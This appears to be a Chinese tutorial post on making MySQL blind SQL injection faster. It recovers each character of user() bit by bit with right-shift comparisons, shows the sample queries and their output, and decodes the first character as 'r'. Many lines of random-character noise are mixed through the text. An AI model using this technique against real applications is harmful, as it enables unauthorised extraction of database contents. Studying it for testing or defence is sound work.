关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位


: b- T2 z. ~' w# w  B
+ s4 ?3 K9 z; t4 r8 r9 F, w下面将以查询mysql数据库当中user()的第一位为例:


0 ]1 l" H2 c) i# t- S
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
1 w5 L+ [9 L( @$ N2 m% X


! ^0 M3 ~, d0 k2 _% M/ H首先执行如下sql语句:
% h: T9 |- b) Z* {! Q+ C


mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
; `1 \2 u+ K* `/ V/ u$ b
. I% R0 X0 q; M# T# O9 I
8 @% x* s" v$ k" ], D! F
9 B- M3 Z  j2 V我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
# B/ i. W( s" [* v

: g; D! e2 a$ M. y; F
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1

+ _$ a3 ?2 o8 v9 S' x4 \

3 ?$ U, H: x! I9 S1 o如果运算结果为1,说明第一位为0,不为1
4 H& h8 h& ]! Q. R/ F

  |  u) N8 i+ ]" F) p
+————————————–+

3 P+ L) s1 {' C. K5 ?8 ~5 p| (ascii((substr(user(),1,1))) >> 7)=0 |

+————————————–+

" S4 e& ], F. {4 B| 1 |

+————————————–+

1 row in set (0.00 sec)

# @9 g" O3 f2 k& A这样我们就确定这个8bit的ascii的第一位为0
- T/ K9 M) U9 Y. Z
$ a$ `' w4 i6 t
. i! a8 n: c! J& P
第二次我们来做6次右偏移来确定前两位
+ x0 Z* }! l! I8 A! j! u

' o  H  f0 q7 i7 N
; z" k8 G- U* |前两位可能是01或00,即依然可以与0做比较,

mysql> select (ascii((substr(user(),1,1))) >> 6)=0;

) c0 g# _( k* c& ], o" l( T# }' d$ @+————————————–+
$ |2 a' C# U* ]: l3 B
$ U% u) M* w' O0 |# D9 c| (ascii((substr(user(),1,1))) >> 6)=0 |

+————————————–+

| 0 |

+————————————–+

  ~& C3 n; W$ y! g! u1 row in set (0.00 sec)
/ }4 P/ z* C& F. F( E- y
/ w+ F" ?! b: C( J3 b3 i
8 @2 ^3 f, n3 c" W
7 @* h& Z/ Q" f结果为0,即第二位为1
4 T2 S9 |; n0 Z: N% J9 M4 B) F

$ l5 P: ]# o( [4 w7 k7 o
开始猜测前三位为010或011



7 {1 {* S: T3 \% E让我们看看010和011的ascii码是多少
: j! ]- J$ H) v' R/ O5 e7 q6 T3 d  O


# e8 w0 k2 o& g分别查询select b’011′ select b’010′

  J# Z' u; [5 z( o) a8 V+ \
" A% O/ h# m, N* @4 h
获得结果 010 = 2 011 = 3



- |- l9 c( _+ [0 h' g6 A执行如下sql:


5 Q# w! H6 K1 Z6 D+ [2 b7 |
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
  a& ~' i* L6 n- _% t3 y% g
+————————————–+
* Z. U, i1 f5 g' J/ G  K
| (ascii((substr(user(),1,1))) >> 5)=2 |
9 Q( ^) r6 _6 b5 a$ I
+————————————–+
) v/ O$ R- Z: U" y7 G! ?# X
/ g1 Q, v, }( d, u0 q, o4 B0 w| 0 |
" h' m# e* v( I9 Z6 c
! j0 m- _+ h) @+————————————–+

即前三位不为010,而是011
* e2 k9 t" I+ G' w- w

% T$ E) c, f) d: g& |
直到获得最后一位
3 a: O+ A( v+ U" m( Y

: |3 i& c; R8 o4 s
最终结果为:01110010



0 j0 v9 U  f7 o转换一下:
* e% p( A4 R  k3 x+ @3 r" V

" o' B. Q! t9 r, R! Q; h) Y7 o! V! u
6 }3 ]3 V+ H/ r+ s1 \select b’01110010′



! O3 x7 s6 d' L查询结果
' ?" d4 f2 m' `8 V: v; {
' v8 _  |! J) p2 v0 ]3 B

+————-+

7 ?2 \+ F9 w. F  Q/ X| b’01110010′ |
* s, Q' t" [% D& R6 A
" j/ O  m! \4 M2 c2 h+————-+
, T8 c1 R8 |5 C& A. t8 \
. I. Q. N4 G, O2 f! U0 \. ]| r |

" ^1 }5 {! T; }+————-+

1 Q7 v5 K% V; F" U0 @# Z, {1 row in set (0.00 sec)
! A  |$ S9 Y8 I, y; l! _5 q% Y


* e* @" e$ X. M" q: `1 n& U; d这样我们就获得了user()的第一位.其它位依此类推

% J* C& l& P3 l) V0 V5 h